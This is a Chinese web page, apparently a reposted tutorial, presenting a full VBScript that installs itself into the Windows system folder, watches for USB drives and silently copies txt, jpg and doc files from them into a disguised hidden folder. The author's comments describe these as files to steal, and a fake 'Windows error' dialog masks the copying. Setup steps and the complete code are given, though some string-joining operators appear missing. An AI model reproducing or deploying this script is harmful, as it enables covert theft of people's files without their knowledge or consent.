• 企业400电话
  • 微网小程序
  • AI电话机器人
  • 电商代运营
  • 全 部 栏 目

    企业400电话 网络优化推广 AI电话机器人 呼叫中心 网站建设 商标✡知产 微网小程序 电商运营 彩铃•短信 增值拓展业务
    自动复制U盘文件的VBS脚本
    以下为演示:
    一、设置
    右键单击,选择编辑
    oStr = "txt|jpg|doc" '你要窃取的文件类型,可以自行添加,用“|”隔开
    oDistPath = "C:\\windows\\system\\" '保存路径
    oFolderName = "Task" '保存文件夹名称
    oType = 0 '将保存的文件夹进行伪装 1为task文件夹,2为recycler文件夹,0为不伪装
    oOut = 1 '1复制完毕后退出,0复制完毕后不退出,继续循环

    二、保存后运行
    会出现安装成功对话框,如果不希望出现该对话框,可以将“Msgbox "安装成功"”注释掉。

    此时脚本已经在循环监测U盘的插入

    三、插入U盘
    U盘插入后,就开始文件的复制。复制完成后会出现提示对话框。
    如果不希望出现该对话框,可以将 “Msgbox "Windows 错误",64”注释掉

    四、寻找文件
    此时,文件已经在目标文件夹中。我将oType 设置为1,所以该文件夹成了task文件夹,此时双击打开是看不到其中的文件的。

    这种情况可以通过rar压缩包浏览,将其中的desktop.ini文件删除,文件夹就会变成普通文件夹。
     ww
    这时就能打开文件夹看到其中的内容。



    Copy.log记录的是原文件及复制后的文件。

    vbs代码

    复制代码 代码如下:

    oStr = "txt|jpg|doc" '文件类型,添加文件类型用“|”隔开
    oDistPath = "C:\\windows\\system\\" '保存路径
    oFolderName = "Task" '保存文件夹名称
    oType = 1 '1为task文件夹,2为recycler文件夹,0为不隐藏
    oOut = 1 '1复制完毕后退出,0复制完毕后不退出,继续循环
    'By:白开 QQ:343229025
    Set fso=CreateObject("scripting.filesystemobject")
    Set wshell=CreateObject("WScript.shell")

    If WScript.ScriptFullName=fso.GetSpecialFolder(1)"\Baikai.vbs" Then '如果是在system32

    '文件夹不存在则创建
    If (not fso.FolderExists(oDistPath oFolderName)) Then
    fso.CreateFolder(oDistPath oFolderName)
    End If
    '创建记录文件
    Set Mylog=fso.CreateTextFile(oDistPathoFolderName"\\Copy.log",True)
    '循环监测移动存储设备插入
    Do
    For Each oDriver In fso.Drives
    If oDriver.DriveType=1 And oDriver>"A:" And oDriver>"B:" Then
    TreeIt(oDriver)
    Msgbox "Windows 错误",64
    If(oOut=1) then
    Exit Do
    End if
    End If
    Next
    WScript.Sleep 15000
    Loop
    Mylog.Close

    '隐藏文件夹
    oHideFolder oDistPath,oFolderName,oType


    else '如果是其它目录,先安装
    fso.CopyFile WScript.ScriptFullName,fso.GetSpecialFolder(1)"\Baikai.vbs",True
    wshell.Run fso.GetSpecialFolder(1)"\Baikai.vbs"
    Msgbox "安装成功"
    end if


    Set fso=nothing
    Set wshell=nothing



    '遍历目录函数
    Function TreeIt(sPath)
    Set oFolder = fso.GetFolder(sPath)
    Set oSubFolders = oFolder.Subfolders

    Set oFiles = oFolder.Files
    For Each oFile In oFiles
    oCopyFile oFile.Path,oDistPath,oFolderName
    Next

    For Each oSubFolder In oSubFolders
    TreeIt(oSubFolder.Path)
    Next

    Set oFolder = Nothing
    Set oSubFolders = Nothing

    End Function

    '复制文件函数
    Function oCopyFile(FileName,oDistPath,oFolderName)
    Ext = fso.GetExtensionName(FileName)
    If(instr(oStr,lcase(Ext))) then
    Randomize
    tempname=Extint((Rnd*100000000)+1)"."Ext
    fso.CopyFile FileName,oDistPathoFolderName"\\"tempname,true
    Mylog.writeline FileName
    Mylog.writeline tempname
    End If
    End Function

    '隐藏文件夹函数
    Sub oHideFolder(oDistPath,oFolderName,oType)

    Select Case oType
    case 1
    Set inf=fso.CreateTextfile(oDistPathoFolderName"\\desktop.ini",True)
    inf.writeline("[.ShellClassInfo]")
    inf.writeline("CLSID={d6277990-4c6a-11cf-8d87-00aa0060f5bf}")
    case 2
    Set inf=fso.CreateTextfile(oDistPathoFolderName"\\desktop.ini",True)
    inf.writeline("[.ShellClassInfo]")
    inf.writeline("CLSID={645FF040-5081-101B-9F08-00AA002F954E}")
    case 0
    Exit sub
    End Select
    Set inf=nothing

    Set SysoFolder=fso.GetFolder(oDistPathoFolderName)
    SysoFolder.attributes=4
    Set SysoFolder=nothing

    End sub

    'By:白开 QQ:343229025

    您可能感兴趣的文章:
    • vbs实现只复制比目标文件更新的文件
    • vbs 自动复制U盘的内容
    • Windows 安装IIS出现的问题(无法安装IIS,提示“安装程序无法复制文件IISApp.vbs”)
    • IE浏览器增加“复制图像地址”的右键菜单的vbs代码
    • vbs复制文件的脚本
    • vbs病毒制作之一复制自身的vbs脚本
    • 最新恶意复制型病毒autorun.inf,stNP.VBS,NP.VBS代码简单解析和解决方法
    • 用vbscript实现将脚本的输出复制到剪贴板
    • vbs复制文件夹的实现代码
    上一篇:VBS 偏移量解密工具[算法解密]
    下一篇:vbs 自动复制U盘的内容
  • 相关文章
  • 

    © 2016-2020 巨人网络通讯 版权所有

    《增值电信业务经营许可证》 苏ICP备15040257号-8

    自动复制U盘文件的VBS脚本 自动,复制,盘,文件,的,VBS,